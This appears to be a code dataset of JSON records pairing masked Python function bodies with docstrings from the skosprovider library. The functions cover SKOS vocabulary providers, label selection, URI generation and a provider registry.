{"signature": "def __init__(self, metadata, **kwargs):", "body": "if '<STR_LIT>' not in metadata:<EOL><INDENT>metadata['<STR_LIT>'] = []<EOL><DEDENT>self.metadata = metadata<EOL>if '<STR_LIT>' in kwargs:<EOL><INDENT>self.uri_generator = kwargs.get('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>self.uri_generator = DefaultUrnGenerator(self.metadata.get('<STR_LIT:id>'))<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>self.concept_scheme = kwargs.get('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>self.concept_scheme = ConceptScheme(<EOL>uri=DefaultConceptSchemeUrnGenerator().generate(<EOL>id=self.metadata.get('<STR_LIT:id>')<EOL>)<EOL>)<EOL><DEDENT>", "docstring": "Create a new provider and register some metadata.\n\n\n        :param uri_generator: An object that implements the\n            :class:`skosprovider.uri.UriGenerator` interface.\n        :param concept_scheme: A :class:`~skosprovider.skos.ConceptScheme`. If\n            not present, a default :class:`~skosprovider.skos.ConceptScheme`\n            will be created with a uri generated by the\n            :class:`~skosprovider.uri.DefaultConceptSchemeUrnGenerator` in\n            combination with the provider `id`.\n        :param dict metadata: Metadata essential to this provider. Possible\n            metadata:\n\n                * `id`: A unique identifier for the vocabulary. Required.\n                * `default_language`: Used to determine what language to use when \\\n                    returning labels if no language is specified. Will default \\\n                    to `en` if not specified.\n                * `subject`: A list of subjects or tags that define what the \\\n                    provider is about or what the provider can handle. This \\\n                    information can then be used when querying a \\\n                    :class:`~skosprovider.registry.Registry` for providers.\n                * `dataset`: A :class:`dict` detailing the dataset the \\\n                    conceptscheme and all concepts and collections are part of. \\\n                    Currently the contents of the dictionary are undefined \\\n                    except for a :term:`uri` attribute that must be present.", "id": "f13799:c0:m0"}
{"signature": "def _get_language(self, **kwargs):", "body": "return kwargs.get(<EOL>'<STR_LIT>',<EOL>self.metadata.get('<STR_LIT>', '<STR_LIT>')<EOL>)<EOL>", "docstring": "Determine what language to render labels in.\n\n        Will first check if there's a language keyword specified in **kwargs.\n        If not, will check the default language of the provider. If there's no\n        default language, will fall back to 'en'.\n\n        :rtype: str", "id": "f13799:c0:m1"}
{"signature": "def _get_sort(self, **kwargs):", "body": "return kwargs.get('<STR_LIT>', None)<EOL>", "docstring": "Determine on what attribute to sort.\n\n        :rtype: str", "id": "f13799:c0:m2"}
{"signature": "def _get_sort_order(self, **kwargs):", "body": "return kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "Determine the sort order.\n\n        :rtype: str\n        :returns: 'asc' or 'desc'", "id": "f13799:c0:m3"}
{"signature": "def _sort(self, concepts, sort=None, language='<STR_LIT>', reverse=False):", "body": "sorted = copy.copy(concepts)<EOL>if sort:<EOL><INDENT>sorted.sort(key=methodcaller('<STR_LIT>', sort, language), reverse=reverse)<EOL><DEDENT>return sorted<EOL>", "docstring": "Returns a sorted version of a list of concepts. Will leave the original\nlist unsorted.\n\n:param list concepts: A list of concepts and collections.\n:param string sort: What to sort on: `id`, `label` or `sortlabel`\n:param string language: Language to use when sorting on `label` or\n    `sortlabel`.\n:param boolean reverse: Reverse the sort order?\n:rtype: list", "id": "f13799:c0:m4"}
{"signature": "def get_vocabulary_id(self):", "body": "return self.metadata.get('<STR_LIT:id>')<EOL>", "docstring": "Get an identifier for the vocabulary.\n\n        :rtype: String or number.", "id": "f13799:c0:m5"}
{"signature": "def get_metadata(self):", "body": "return self.metadata<EOL>", "docstring": "Get some metadata on the provider or the vocab it represents.\n\n        :rtype: Dict.", "id": "f13799:c0:m6"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def get_by_id(self, id):<DEDENT>", "body": "", "docstring": "Get all information on a concept or collection, based on id.\n\n        Providers should assume that all id's passed are strings. If a provider\n        knows that internally it uses numeric identifiers, it's up to the\n        provider to do the typecasting. Generally, this should not be done by\n        changing the id's themselves (eg. from int to str), but by doing the\n        id comparisons in a type agnostic way.\n\n        Since this method could be used to find both concepts and collections,\n        it's assumed that there are no id collisions between concepts and\n        collections.\n\n        :rtype: :class:`skosprovider.skos.Concept` or\n            :class:`skosprovider.skos.Collection` or `False` if the concept or\n            collection is unknown to the provider.", "id": "f13799:c0:m7"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def get_by_uri(self, uri):<DEDENT>", "body": "", "docstring": "Get all information on a concept or collection, based on a\n        :term:`URI`.\n\n        :rtype: :class:`skosprovider.skos.Concept` or\n            :class:`skosprovider.skos.Collection` or `False` if the concept or\n            collection is unknown to the provider.", "id": "f13799:c0:m8"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def get_all(self, **kwargs):<DEDENT>", "body": "", "docstring": "Returns all concepts and collections in this provider.\n\n        :param string language: Optional. If present, it should be a\n            :term:`language-tag`. This language-tag is passed on to the\n            underlying providers and used when selecting the label to display\n            for each concept.\n        :param string sort: Optional. If present, it should either be `id`,\n            `label` or `sortlabel`. The `sortlabel` option means the providers should\n            take into account any `sortLabel` if present, if not it will\n            fallback to a regular label to sort on.\n        :param string sort_order: Optional. What order to sort in: `asc` or\n            `desc`. Defaults to `asc`\n\n        :returns: A :class:`lst` of concepts and collections. Each of these is a dict\n            with the following keys:\n\n            * id: id within the conceptscheme\n            * uri: :term:`uri` of the concept or collection\n            * type: concept or collection\n            * label: A label to represent the concept or collection. It is \\\n                determined by looking at the `language` parameter, the default \\\n                language of the provider and finally falls back to `en`.", "id": "f13799:c0:m9"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def get_top_concepts(self, **kwargs):<DEDENT>", "body": "", "docstring": "Returns all top-level concepts in this provider.\n\nTop-level concepts are concepts that have no broader concepts\nthemselves. They might have narrower concepts, but this is not\nmandatory.\n\n:param string language: Optional. If present, it should be a\n    :term:`language-tag`. This language-tag is passed on to the\n    underlying providers and used when selecting the label to display\n    for each concept.\n:param string sort: Optional. If present, it should either be `id`,\n    `label` or `sortlabel`. The `sortlabel` option means the providers should\n    take into account any `sortLabel` if present, if not it will\n    fallback to a regular label to sort on.\n:param string sort_order: Optional. What order to sort in: `asc` or\n    `desc`. Defaults to `asc`\n\n:returns: A :class:`lst` of concepts, NOT collections. Each of these\n    is a dict with the following keys:\n\n    * id: id within the conceptscheme\n    * uri: :term:`uri` of the concept or collection\n    * type: concept or collection\n    * label: A label to represent the concept or collection. It is \\\n        determined by looking at the `language` parameter, the default \\\n        language of the provider and finally falls back to `en`.", "id": "f13799:c0:m10"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def find(self, query, **kwargs):<DEDENT>", "body": "", "docstring": "Find concepts that match a certain query.\n\n        Currently query is expected to be a dict, so that complex queries can\n        be passed. You can use this dict to search for concepts or collections\n        with a certain label, with a certain type and for concepts that belong\n        to a certain collection.\n\n        .. code-block:: python\n\n            # Find anything that has a label of church.\n            provider.find({'label': 'church'})\n\n            # Find all concepts that are a part of collection 5.\n            provider.find({'type': 'concept', 'collection': {'id': 5})\n\n            # Find all concepts, collections or children of these\n            # that belong to collection 5.\n            provider.find({'collection': {'id': 5, 'depth': 'all'})\n\n            # Find anything that has a label of church.\n            # Preferentially display a label in Dutch.\n            provider.find({'label': 'church'}, language='nl')\n\n        :param query: A dict that can be used to express a query. The following\n            keys are permitted:\n\n            * `label`: Search for something with this label value. An empty \\\n                label is equal to searching for all concepts.\n            * `type`: Limit the search to certain SKOS elements. If not \\\n                present or `None`, `all` is assumed:\n\n                * `concept`: Only return :class:`skosprovider.skos.Concept` \\\n                    instances.\n                * `collection`: Only return \\\n                    :class:`skosprovider.skos.Collection` instances.\n                * `all`: Return both :class:`skosprovider.skos.Concept` and \\\n                    :class:`skosprovider.skos.Collection` instances.\n            * `collection`: Search only for concepts belonging to a certain \\\n                collection. This argument should be a dict with two keys:\n\n                * `id`: The id of a collection. Required.\n                * `depth`: Can be `members` or `all`. Optional. If not \\\n                    present, `members` is assumed, meaning only concepts or \\\n                    collections that are a direct member of the collection \\\n                    should be considered. When set to `all`, this method \\\n                    should return concepts and collections that are a member \\\n                    of the collection or are a narrower concept of a member \\\n                    of the collection.\n\n        :param string language: Optional. If present, it should be a\n            :term:`language-tag`. This language-tag is passed on to the\n            underlying providers and used when selecting the label to display\n            for each concept.\n        :param string sort: Optional. If present, it should either be `id`,\n            `label` or `sortlabel`. The `sortlabel` option means the providers should\n            take into account any `sortLabel` if present, if not it will\n            fallback to a regular label to sort on.\n        :param string sort_order: Optional. What order to sort in: `asc` or\n            `desc`. Defaults to `asc`\n\n        :returns: A :class:`lst` of concepts and collections. Each of these\n            is a dict with the following keys:\n\n            * id: id within the conceptscheme\n            * uri: :term:`uri` of the concept or collection\n            * type: concept or collection\n            * label: A label to represent the concept or collection. It is \\\n                determined by looking at the `language` parameter, the default \\\n                language of the provider and finally falls back to `en`.", "id": "f13799:c0:m11"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def expand(self, id):<DEDENT>", "body": "", "docstring": "Expand a concept or collection to all it's narrower\n        concepts.\n\n        This method should recurse and also return narrower concepts\n        of narrower concepts.\n\n        If the id passed belongs to a :class:`skosprovider.skos.Concept`,\n        the id of the concept itself should be include in the return value.\n\n        If the id passed belongs to a :class:`skosprovider.skos.Collection`,\n        the id of the collection itself must not be present in the return value\n        In this case the return value includes all the member concepts and\n        their narrower concepts.\n\n        :param id: A concept or collection id.\n        :rtype: A list of id's or `False` if the concept or collection doesn't\n            exist.", "id": "f13799:c0:m12"}
{"signature": "def get_top_display(self, **kwargs):", "body": "", "docstring": "Returns all concepts or collections that form the top-level of a\ndisplay hierarchy.\n\nAs opposed to the :meth:`get_top_concepts`, this method can possibly\nreturn both concepts and collections.\n\n:param string language: Optional. If present, it should be a\n    :term:`language-tag`. This language-tag is passed on to the\n    underlying providers and used when selecting the label to display\n    for each concept.\n:param string sort: Optional. If present, it should either be `id`,\n    `label` or `sortlabel`. The `sortlabel` option means the providers should\n    take into account any `sortLabel` if present, if not it will\n    fallback to a regular label to sort on.\n:param string sort_order: Optional. What order to sort in: `asc` or\n    `desc`. Defaults to `asc`\n\n:returns: A :class:`lst` of concepts and collections. Each of these\n    is a dict with the following keys:\n\n    * id: id within the conceptscheme\n    * uri: :term:`uri` of the concept or collection\n    * type: concept or collection\n    * label: A label to represent the concept or collection. It is\\\n        determined by looking at the `language` parameter, the default\\\n        language of the provider and finally falls back to `en`.", "id": "f13799:c0:m13"}
{"signature": "def get_children_display(self, id, **kwargs):", "body": "", "docstring": "Return a list of concepts or collections that should be displayed\nunder this concept or collection.\n\n:param string language: Optional. If present, it should be a\n    :term:`language-tag`. This language-tag is passed on to the\n    underlying providers and used when selecting the label to display\n    for each concept.\n:param string sort: Optional. If present, it should either be `id`,\n    `label` or `sortlabel`. The `sortlabel` option means the providers should\n    take into account any `sortLabel` if present, if not it will\n    fallback to a regular label to sort on.\n:param string sort_order: Optional. What order to sort in: `asc` or\n    `desc`. Defaults to `asc`\n\n:param str id: A concept or collection id.\n:returns: A :class:`lst` of concepts and collections. Each of these\n    is a dict with the following keys:\n\n    * id: id within the conceptscheme\n    * uri: :term:`uri` of the concept or collection\n    * type: concept or collection\n    * label: A label to represent the concept or collection. It is \\\n        determined by looking at the `language` parameter, the default \\\n        language of the provider and finally falls back to `en`.", "id": "f13799:c0:m14"}
{"signature": "def __init__(self, metadata, list, **kwargs):", "body": "super(MemoryProvider, self).__init__(metadata, **kwargs)<EOL>self.list = list<EOL>if '<STR_LIT>' in kwargs:<EOL><INDENT>self.case_insensitive = kwargs['<STR_LIT>']<EOL><DEDENT>", "docstring": ":param dict metadata: A dictionary with keywords like language.\n:param list list: A list of :class:`skosprovider.skos.Concept` and\n    :class:`skosprovider.skos.Collection` instances.\n:param Boolean case_insensitive: Should searching for labels be done\n    case-insensitive?", "id": "f13799:c1:m0"}
{"signature": "def _normalise_query(self, query):", "body": "if '<STR_LIT:type>' in query and query['<STR_LIT:type>'] not in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>del query['<STR_LIT:type>']<EOL><DEDENT>return query<EOL>", "docstring": ":param query: A dict that can be used to express a query.\n:rtype: dict", "id": "f13799:c1:m4"}
{"signature": "def _include_in_find(self, c, query):", "body": "include = True<EOL>if include and '<STR_LIT:type>' in query:<EOL><INDENT>include = query['<STR_LIT:type>'] == c.type<EOL><DEDENT>if include and '<STR_LIT:label>' in query:<EOL><INDENT>def finder(l, query):<EOL><INDENT>if not self.case_insensitive:<EOL><INDENT>return l.label.find(query['<STR_LIT:label>'])<EOL><DEDENT>else:<EOL><INDENT>return l.label.upper().find(query['<STR_LIT:label>'].upper())<EOL><DEDENT><DEDENT>include = any([finder(l, query) >= <NUM_LIT:0> for l in c.labels])<EOL><DEDENT>if include and '<STR_LIT>' in query:<EOL><INDENT>coll = self.get_by_id(query['<STR_LIT>']['<STR_LIT:id>'])<EOL>if not coll or not isinstance(coll, Collection):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>if '<STR_LIT>' in query['<STR_LIT>'] and query['<STR_LIT>']['<STR_LIT>'] == '<STR_LIT:all>':<EOL><INDENT>members = self.expand(coll.id)<EOL><DEDENT>else:<EOL><INDENT>members = coll.members<EOL><DEDENT>include = any([True for id in members if str(id) == str(c.id)]) <EOL><DEDENT>return include<EOL>", "docstring": ":param c: A :class:`skosprovider.skos.Concept` or\n    :class:`skosprovider.skos.Collection`.\n:param query: A dict that can be used to express a query.\n:rtype: boolean", "id": "f13799:c1:m5"}
{"signature": "def _get_find_dict(self, c, **kwargs):", "body": "language = self._get_language(**kwargs)<EOL>return {<EOL>'<STR_LIT:id>': c.id,<EOL>'<STR_LIT>': c.uri,<EOL>'<STR_LIT:type>': c.type,<EOL>'<STR_LIT:label>': None if c.label() is None else c.label(language).label<EOL>}<EOL>", "docstring": "Return a dict that can be used in the return list of the :meth:`find`\nmethod.\n\n:param c: A :class:`skosprovider.skos.Concept` or\n    :class:`skosprovider.skos.Collection`.\n:rtype: dict", "id": "f13799:c1:m6"}
{"signature": "def __init__(self, metadata, reader, **kwargs):", "body": "super(SimpleCsvProvider, self).__init__(metadata, [], **kwargs)<EOL>self.list = [self._from_row(row) for row in reader]<EOL>", "docstring": ":param metadata: A metadata dictionary.\n:param reader: A csv reader.", "id": "f13799:c3:m0"}
{"signature": "def label(labels=[], language='<STR_LIT>', sortLabel=False):", "body": "if not labels:<EOL><INDENT>return None<EOL><DEDENT>if not language:<EOL><INDENT>language = '<STR_LIT>'<EOL><DEDENT>labels = [dict_to_label(l) for l in labels]<EOL>l = False<EOL>if sortLabel:<EOL><INDENT>l = find_best_label_for_type(labels, language, '<STR_LIT>')<EOL><DEDENT>if not l:<EOL><INDENT>l = find_best_label_for_type(labels, language, '<STR_LIT>')<EOL><DEDENT>if not l:<EOL><INDENT>l = find_best_label_for_type(labels, language, '<STR_LIT>')<EOL><DEDENT>if l:<EOL><INDENT>return l<EOL><DEDENT>else:<EOL><INDENT>return label(labels, '<STR_LIT>', sortLabel) if language != '<STR_LIT>' else None<EOL><DEDENT>", "docstring": "Provide a label for a list of labels.\n\nThe items in the list of labels are assumed to be either instances of\n:class:`Label`, or dicts with at least the key `label` in them. These will\nbe passed to the :func:`dict_to_label` function.\n\nThis method tries to find a label by looking if there's\na pref label for the specified language. If there's no pref label,\nit looks for an alt label. It disregards hidden labels.\n\nWhile matching languages, preference will be given to exact matches. But,\nif no exact match is present, an inexact match will be attempted. This might\nbe because a label in language `nl-BE` is being requested, but only `nl` or\neven `nl-NL` is present. Similarly, when requesting `nl`, a label with\nlanguage `nl-NL` or even `nl-Latn-NL` will also be considered,\nproviding no label is present that has an exact match with the\nrequested language.\n\nIf language 'any' was specified, all labels will be considered,\nregardless of language.\n\nTo find a label without a specified language, pass `None` as language.\n\nIf a language or None was specified, and no label could be found, this\nmethod will automatically try to find a label in some other language.\n\nFinally, if no label could be found, None is returned.\n\n:param string language: The preferred language to receive the label in. This\n    should be a valid IANA language tag.\n:param boolean sortLabel: Should sortLabels be considered or not? If True,\n    sortLabels will be preferred over prefLabels. Bear in mind that these\n    are still language dependent. So, it's possible to have a different\n    sortLabel per language.\n:rtype: A :class:`Label` or `None` if no label could be found.", "id": "f13800:m0"}
{"signature": "def find_best_label_for_type(labels, language, labeltype):", "body": "typelabels = [l for l in labels if l.type == labeltype]<EOL>if not typelabels:<EOL><INDENT>return False<EOL><DEDENT>if language == '<STR_LIT>':<EOL><INDENT>return typelabels[<NUM_LIT:0>]<EOL><DEDENT>exact = filter_labels_by_language(typelabels, language)<EOL>if exact:<EOL><INDENT>return exact[<NUM_LIT:0>]<EOL><DEDENT>inexact = filter_labels_by_language(typelabels, language, True)<EOL>if inexact:<EOL><INDENT>return inexact[<NUM_LIT:0>]<EOL><DEDENT>return False<EOL>", "docstring": "Find the best label for a certain labeltype.\n\n:param list labels: A list of :class:`Label`.\n:param str language: An IANA language string, eg. `nl` or `nl-BE`.\n:param str labeltype: Type of label to look for, eg. `prefLabel`.", "id": "f13800:m1"}
{"signature": "def filter_labels_by_language(labels, language, broader=False):", "body": "if language == '<STR_LIT>':<EOL><INDENT>return labels<EOL><DEDENT>if broader:<EOL><INDENT>language = tags.tag(language).language.format<EOL>return [l for l in labels if tags.tag(l.language).language.format == language]<EOL><DEDENT>else:<EOL><INDENT>language = tags.tag(language).format<EOL>return [l for l in labels if tags.tag(l.language).format == language]<EOL><DEDENT>", "docstring": "Filter a list of labels, leaving only labels of a certain language.\n\n:param list labels: A list of :class:`Label`.\n:param str language: An IANA language string, eg. `nl` or `nl-BE`.\n:param boolean broader: When true, will also match `nl-BE` when filtering\n    on `nl`. When false, only exact matches are considered.", "id": "f13800:m2"}
{"signature": "def dict_to_label(dict):", "body": "try:<EOL><INDENT>return Label(<EOL>dict['<STR_LIT:label>'],<EOL>dict.get('<STR_LIT:type>', '<STR_LIT>'),<EOL>dict.get('<STR_LIT>', '<STR_LIT>')<EOL>)<EOL><DEDENT>except (KeyError, AttributeError, TypeError):<EOL><INDENT>return dict<EOL><DEDENT>", "docstring": "Transform a dict with keys `label`, `type` and `language` into a\n:class:`Label`.\n\nOnly the `label` key is mandatory. If `type` is not present, it will\ndefault to `prefLabel`. If `language` is not present, it will default\nto `und`.\n\nIf the argument passed is not a dict, this method just\nreturns the argument.", "id": "f13800:m3"}
{"signature": "def dict_to_note(dict):", "body": "if isinstance(dict, Note):<EOL><INDENT>return dict<EOL><DEDENT>return Note(<EOL>dict['<STR_LIT>'],<EOL>dict.get('<STR_LIT:type>', '<STR_LIT>'),<EOL>dict.get('<STR_LIT>', '<STR_LIT>'),<EOL>dict.get('<STR_LIT>')<EOL>)<EOL>", "docstring": "Transform a dict with keys `note`, `type` and `language` into a\n:class:`Note`.\n\nOnly the `note` key is mandatory. If `type` is not present, it will\ndefault to `note`. If `language` is not present, it will default to `und`.\nIf `markup` is not present it will default to `None`.\n\nIf the argument passed is already a :class:`Note`, this method just returns\nthe argument.", "id": "f13800:m4"}
{"signature": "def dict_to_source(dict):", "body": "if isinstance(dict, Source):<EOL><INDENT>return dict<EOL><DEDENT>return Source(<EOL>dict['<STR_LIT>'],<EOL>dict.get('<STR_LIT>')<EOL>)<EOL>", "docstring": "Transform a dict with key 'citation' into a :class:`Source`.\n\nIf the argument passed is already a :class:`Source`, this method just\nreturns the argument.", "id": "f13800:m5"}
{"signature": "@staticmethod<EOL><INDENT>def is_valid_type(type):<DEDENT>", "body": "return type in Label.valid_types<EOL>", "docstring": "Check if the argument is a valid SKOS label type.\n\n:param string type: The type to be checked.", "id": "f13800:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def is_valid_type(type):<DEDENT>", "body": "return type in Note.valid_types<EOL>", "docstring": "Check if the argument is a valid SKOS note type.\n\n:param string type: The type to be checked.", "id": "f13800:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>def is_valid_markup(markup):<DEDENT>", "body": "return markup in valid_markup<EOL>", "docstring": "Check the argument is a valid type of markup.\n\n:param string markup: The type to be checked.", "id": "f13800:c1:m4"}
{"signature": "@staticmethod<EOL><INDENT>def is_valid_markup(markup):<DEDENT>", "body": "return markup in valid_markup<EOL>", "docstring": "Check the argument is a valid type of markup.\n\n:param string markup: The type to be checked.", "id": "f13800:c2:m1"}
{"signature": "def label(self, language='<STR_LIT>'):", "body": "return label(self.labels, language)<EOL>", "docstring": "Provide a single label for this conceptscheme.\n\nThis uses the :func:`label` function to determine which label to\nreturn.\n\n:param string language: The preferred language to receive the label in.\n    This should be a valid IANA language tag.\n:rtype: :class:`skosprovider.skos.Label` or False if no labels were found.", "id": "f13800:c3:m1"}
{"signature": "def _sortkey(self, key='<STR_LIT>', language='<STR_LIT>'):", "body": "if key == '<STR_LIT>':<EOL><INDENT>return self.uri<EOL><DEDENT>else:<EOL><INDENT>l = label(self.labels, language, key == '<STR_LIT>')<EOL>return l.label.lower() if l else '<STR_LIT>'<EOL><DEDENT>", "docstring": "Provide a single sortkey for this conceptscheme.\n\n:param string key: Either `uri`, `label` or `sortlabel`.\n:param string language: The preferred language to receive the label in\n    if key is `label` or `sortlabel`. This should be a valid IANA language tag.\n:rtype: :class:`str`", "id": "f13800:c3:m2"}
{"signature": "def label(self, language='<STR_LIT>'):", "body": "return label(self.labels, language)<EOL>", "docstring": "Provide a single label for this concept.\n\nThis uses the :func:`label` function to determine which label to return.\n\n:param string language: The preferred language to receive the label in.\n    This should be a valid IANA language tag.\n:rtype: :class:`skosprovider.skos.Label` or False if no labels were found.", "id": "f13800:c4:m1"}
{"signature": "def _sortkey(self, key='<STR_LIT:id>', language='<STR_LIT>'):", "body": "if key == '<STR_LIT:id>':<EOL><INDENT>return str(self.id)<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>return self.uri if self.uri else '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>l = label(self.labels, language, key == '<STR_LIT>')<EOL>return l.label.lower() if l else '<STR_LIT>'<EOL><DEDENT>", "docstring": "Provide a single sortkey for this collection.\n\n:param string key: Either `id`, `uri`, `label` or `sortlabel`.\n:param string language: The preferred language to receive the label in\n    if key is `label` or `sortlabel`. This should be a valid IANA language tag.\n:rtype: :class:`str`", "id": "f13800:c4:m2"}
{"signature": "def label(self, language='<STR_LIT>'):", "body": "return label(self.labels, language, False)<EOL>", "docstring": "Provide a single label for this collection.\n\nThis uses the :func:`label` function to determine which label to return.\n\n:param string language: The preferred language to receive the label in.\n    This should be a valid IANA language tag.\n:rtype: :class:`skosprovider.skos.Label` or False if no labels were found.", "id": "f13800:c5:m1"}
{"signature": "def _sortkey(self, key='<STR_LIT:id>', language='<STR_LIT>'):", "body": "if key == '<STR_LIT:id>':<EOL><INDENT>return str(self.id)<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>return self.uri if self.uri else '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>l = label(self.labels, language, key == '<STR_LIT>')<EOL>return l.label.lower() if l else '<STR_LIT>'<EOL><DEDENT>", "docstring": "Provide a single sortkey for this collection.\n\n:param string key: Either `id`, `uri`, `label` or `sortlabel`.\n:param string language: The preferred language to receive the label in\n    if key is `label` or `sortlabel`. This should be a valid IANA language tag.\n:rtype: :class:`str`", "id": "f13800:c5:m2"}
{"signature": "def is_uri(uri):", "body": "if uri is None:<EOL><INDENT>return False<EOL><DEDENT>return rfc3987.match(uri, rule='<STR_LIT>')<EOL>", "docstring": "Check if a string is a valid URI according to rfc3987\n\n:param string uri:\n:rtype: boolean", "id": "f13801:m0"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def generate(self, **kwargs):<DEDENT>", "body": "", "docstring": "Generate a :term:`URI` based on parameters passed.", "id": "f13801:c0:m0"}
{"signature": "def generate(self, **kwargs):", "body": "return self.pattern % kwargs['<STR_LIT:id>']<EOL>", "docstring": "Generate a :term:`URI` based on parameters passed.\n\n:param id: The id of the concept or collection.\n:rtype: string", "id": "f13801:c1:m1"}
{"signature": "def generate(self, **kwargs):", "body": "return (self.pattern % (self.vocabulary_id, kwargs['<STR_LIT:id>'])).lower()<EOL>", "docstring": "Generate a :term:`URI` based on parameters passed.\n\n:param id: The id of the concept or collection.\n:rtype: string", "id": "f13801:c2:m1"}
{"signature": "def generate(self, **kwargs):", "body": "return (self.pattern % (kwargs['<STR_LIT:id>'])).lower()<EOL>", "docstring": "Generate a :term:`URI` based on parameters passed.\n\n:param id: The id of the conceptscheme.\n:rtype: string", "id": "f13801:c3:m0"}
{"signature": "def generate(self, **kwargs):", "body": "if kwargs['<STR_LIT:type>'] not in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise ValueError('<STR_LIT>' % kwargs['<STR_LIT:type>'])<EOL><DEDENT>return (<EOL>self.pattern % (self.vocabulary_id, kwargs['<STR_LIT:type>'], kwargs['<STR_LIT:id>'])<EOL>).lower()<EOL>", "docstring": "Generate a :term:`URI` based on parameters passed.\n\n:param id: The id of the concept or collection.\n:param type: What we're generating a :term:`URI` for: `concept`\n    or `collection`.\n:rtype: string", "id": "f13801:c4:m1"}
{"signature": "def register_provider(self, provider):", "body": "if provider.get_vocabulary_id() in self.providers:<EOL><INDENT>raise RegistryException(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>self.providers[provider.get_vocabulary_id()] = provider<EOL>if provider.concept_scheme.uri in self.concept_scheme_uri_map:<EOL><INDENT>raise RegistryException(<EOL>'<STR_LIT>' % provider.concept_scheme.uri<EOL>)<EOL><DEDENT>self.concept_scheme_uri_map[provider.concept_scheme.uri] = provider.get_vocabulary_id()<EOL>", "docstring": "Register a :class:`skosprovider.providers.VocabularyProvider`.\n\n:param skosprovider.providers.VocabularyProvider provider: The provider\n    to register.\n:raises RegistryException: A provider with this id or uri has already \n    been registered.", "id": "f13802:c1:m1"}
{"signature": "def remove_provider(self, id):", "body": "if id in self.providers:<EOL><INDENT>p = self.providers.get(id, False)<EOL>del self.providers[id]<EOL>del self.concept_scheme_uri_map[p.concept_scheme.uri]<EOL>return p<EOL><DEDENT>elif id in self.concept_scheme_uri_map:<EOL><INDENT>id = self.concept_scheme_uri_map[id]<EOL>return self.remove_provider(id)<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Remove the provider with the given id or :term:`URI`.\n\n:param str id: The identifier for the provider.\n:returns: A :class:`skosprovider.providers.VocabularyProvider` or\n    `False` if the id is unknown.", "id": "f13802:c1:m2"}
{"signature": "def get_provider(self, id):", "body": "if id in self.providers:<EOL><INDENT>return self.providers.get(id, False)<EOL><DEDENT>elif is_uri(id) and id in self.concept_scheme_uri_map:<EOL><INDENT>return self.providers.get(self.concept_scheme_uri_map[id], False)<EOL><DEDENT>return False<EOL>", "docstring": "Get a provider by id or :term:`uri`.\n\n:param str id: The identifier for the provider. This can either be the\n    id with which it was registered or the :term:`uri` of the conceptscheme\n    that the provider services.\n:returns: A :class:`skosprovider.providers.VocabularyProvider`\n    or `False` if the id or uri is unknown.", "id": "f13802:c1:m3"}
{"signature": "def get_providers(self, **kwargs):", "body": "if '<STR_LIT>' in kwargs:<EOL><INDENT>ids = [self.concept_scheme_uri_map.get(id, id) for id in kwargs['<STR_LIT>']]<EOL>providers = [<EOL>self.providers[k] for k in self.providers.keys() if k in ids<EOL>]<EOL><DEDENT>else:<EOL><INDENT>providers = list(self.providers.values())<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>providers = [p for p in providers if kwargs['<STR_LIT>'] in p.metadata['<STR_LIT>']]<EOL><DEDENT>return providers<EOL>", "docstring": "Get all providers registered.\n\n        If keyword `ids` is present, get only the providers with these ids.\n\n        If keys `subject` is present, get only the providers that have this subject.\n\n        .. code-block:: python\n\n           # Get all providers with subject 'biology'\n           registry.get_providers(subject='biology')\n\n           # Get all providers with id 1 or 2\n           registry.get_providers(ids=[1,2])\n\n           # Get all providers with id 1 or 2 and subject 'biology'\n           registry.get_providers(ids=[1,2], subject='biology']\n\n        :param list ids: Only return providers with one of the Ids or :term:`URIs <uri>`.\n        :param str subject: Only return providers with this subject.\n        :returns: A list of :class:`providers <skosprovider.providers.VocabularyProvider>`", "id": "f13802:c1:m4"}
{"signature": "def find(self, query, **kwargs):", "body": "if '<STR_LIT>' not in kwargs:<EOL><INDENT>providers = self.get_providers()<EOL><DEDENT>else:<EOL><INDENT>pargs = kwargs['<STR_LIT>']<EOL>if isinstance(pargs, list):<EOL><INDENT>providers = self.get_providers(ids=pargs)<EOL><DEDENT>else:<EOL><INDENT>providers = self.get_providers(**pargs)<EOL><DEDENT><DEDENT>kwarguments = {}<EOL>if '<STR_LIT>' in kwargs:<EOL><INDENT>kwarguments['<STR_LIT>'] = kwargs['<STR_LIT>']<EOL><DEDENT>return [{'<STR_LIT:id>': p.get_vocabulary_id(), '<STR_LIT>': p.find(query, **kwarguments)}<EOL>for p in providers]<EOL>", "docstring": "Launch a query across all or a selection of providers.\n\n        .. code-block:: python\n\n            # Find anything that has a label of church in any provider.\n            registry.find({'label': 'church'})\n\n            # Find anything that has a label of church with the BUILDINGS provider.\n            # Attention, this syntax was deprecated in version 0.3.0\n            registry.find({'label': 'church'}, providers=['BUILDINGS'])\n\n            # Find anything that has a label of church with the BUILDINGS provider.\n            registry.find({'label': 'church'}, providers={'ids': ['BUILDINGS']})\n\n            # Find anything that has a label of church with a provider\n            # marked with the subject 'architecture'.\n            registry.find({'label': 'church'}, providers={'subject': 'architecture'})\n\n            # Find anything that has a label of church in any provider.\n            # If possible, display the results with a Dutch label.\n            registry.find({'label': 'church'}, language='nl')\n\n        :param dict query: The query parameters that will be passed on to each\n            :meth:`~skosprovider.providers.VocabularyProvider.find` method of\n            the selected.\n            :class:`providers <skosprovider.providers.VocabularyProvider>`.\n        :param dict providers: Optional. If present, it 